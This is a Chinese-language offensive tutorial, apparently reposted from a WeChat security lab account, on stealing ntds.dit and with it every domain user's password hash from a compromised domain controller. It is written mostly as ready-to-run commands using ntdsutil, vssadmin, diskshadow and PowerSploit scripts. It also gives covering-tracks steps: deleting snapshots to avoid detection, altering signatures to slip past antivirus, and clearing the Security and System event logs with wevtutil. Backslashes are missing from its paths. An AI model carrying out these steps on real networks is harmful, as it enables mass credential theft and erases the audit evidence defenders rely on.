NTDS介绍
获取域控后,如果想获取域用户的hash,则需要获取ntds.dit,ntds存储了所有域用户的hash,默认存放在c盘windows下的ntds目录,ntds.dit文件随着系统启动会被使用,所以不能直接复制和操作。
VSS卷影复制服务介绍
VSS是Volume Shadow Copy Service缩写,Windows在运行一些程序时,会涉及到一些数据备份问题,为了解决该问题,引入了VSS(2003及以上系统),即程序运行中,也可以对数据进行操作。
ntdsutil
ntdsutil在域控上是默认安装的,供管理员访问和管理AD数据库使用,使用该工具可以对ntds.dit进行快照备份,随后把备份复制回来。
ntdsutil相关命令如下,首先查看当前快照列表:
ntdsutil snapshot "List All" quit quit
查询已挂载的快照列表:
ntdsutil snapshot "List Mounted" quit quit
创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit
快照创建后会得到一组guid,有了这个guid就可以对其进行挂载:
ntdsutil snapshot "mount {guidxxxx}" quit quit
挂载后,我们就可以对该文件进行复制了,完整目录为:挂载目录windowsntdsntds.dit
得到ntds.dit后,需要卸载快照及删除快照,删除痕迹避免被发现,命令如下:
# 卸载快照
ntdsutil snapshot "unmount {guid}" quit quit
# 删除快照
ntdsutil snapshot "delete {guid}" quit quit
ntdsutil-ifm
这里还是ntdsutil,不过用的是它下面的ifm命令,ifm意思是ifm media creation,用来生成域的配置文件,包括ntds.dit,命令如下:
ntdsutil "activate instance ntds" "ifm" "create full c:ntdsutil" quit quit
这种方式会直接生成ntds文件,不用再去创建快照、挂载等操作,但缺点是大小会大一点,如果域用户多,ntds本身就几个g,这种可能没有上一种方法传输来的方便,大小对比如下:
ntds复制后或者传输回来后,删除ifm创建的那个文件夹接口,命令:
rd /s /q c:ntdsutil
vssadmin
vssadmin是vss的管理工具,在域控中也是默认安装的,可以通过vssadmin来备份c盘的副本,然后把ntds复制出来,相关命令如下:
# 列出已有的卷影副本
vssadmin list shadows
# 创建卷影副本
vssadmin create shadow /for=c:
# 复制卷影副本
\?xxxxwindowsntdsntds.dit c:ntds.dit
# 删除卷影副本
vssadmin delete shadows /for=c: /quiet
diskshadow
diskshadow也是个可以进行卷影备份的工具,windows系统自带,直接命令行输入diskshadow会进入一个交互式命令行,做备份、复制、删除执行相关命令即可,diskshadow支持允许脚本,可以把备份那一系列的命令放到文件中,然后允许,命令脚本示例如下:
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "c:windowssystem32cmd.exe" /c copy z:windowsntdsntds.dit c:ntds3.dit
delete shadows volume %someAlias%
reset
diskshadow的s参数跟脚本即可:
这里提示驱动号已被使用,我这里刚才测试已经有z盘了,可以换个盘符或者删除已有的z,这里进行删除一下,删除时不能指定z盘符,需要指定原始盘符(也就是c):
从新运行备份:
PS:上面那个备份脚本,exec执行时,cmd.exe要写全路径,如果只写cmd.exe,会提示脚本名无效。
wmi
wmi也支持创建卷影副本,但是命令比较繁琐,所以诞生了一些以wmi为基础进行卷影复制的脚本,这里测试几个。
1,nishang中的Copy-VSS.ps1脚本
https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1
2,PowerSploit中的VolumeShadowCopyTools.ps1脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/VolumeShadowCopyTools.ps1
这个脚本被杀的很严重,如果想用,可以尝试更改一下特征字符,相关命令如下:
# 创建c盘卷影副本
powershell -ep bypass -c "import-module c:VolumeShadowCopyTools.ps1;New-VolumeShadowCopy -Volume c:powersploitntds"
# 获取c盘卷影副本路径
powershell -ep bypass -c "import-module c:VolumeShadowCopyTools.ps1;Get-VolumeShadowCopy"
# 复制文件
copy \?xxxxwindowsntdsntds.dit c:ntds.dit
# 删除卷影副本
powershell -ep bypass -c "import-module c:VolumeShadowCopyTools.ps1;Remove-VolumeShadowCopy -DevicePath '\?xx'"
日志清除
vss卷影服务运行会产生一个7036的系统日志:
最简单的办法可以直接全部清除:
# cmd命令,需要管理员权限
wevtutil cl security
wevtutil cl system
# powershell命令,管理员身份运行
-LogName Security
-LogName System
完
原文始发于微信公众号(aFa攻防实验室):获取ntds.dit
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论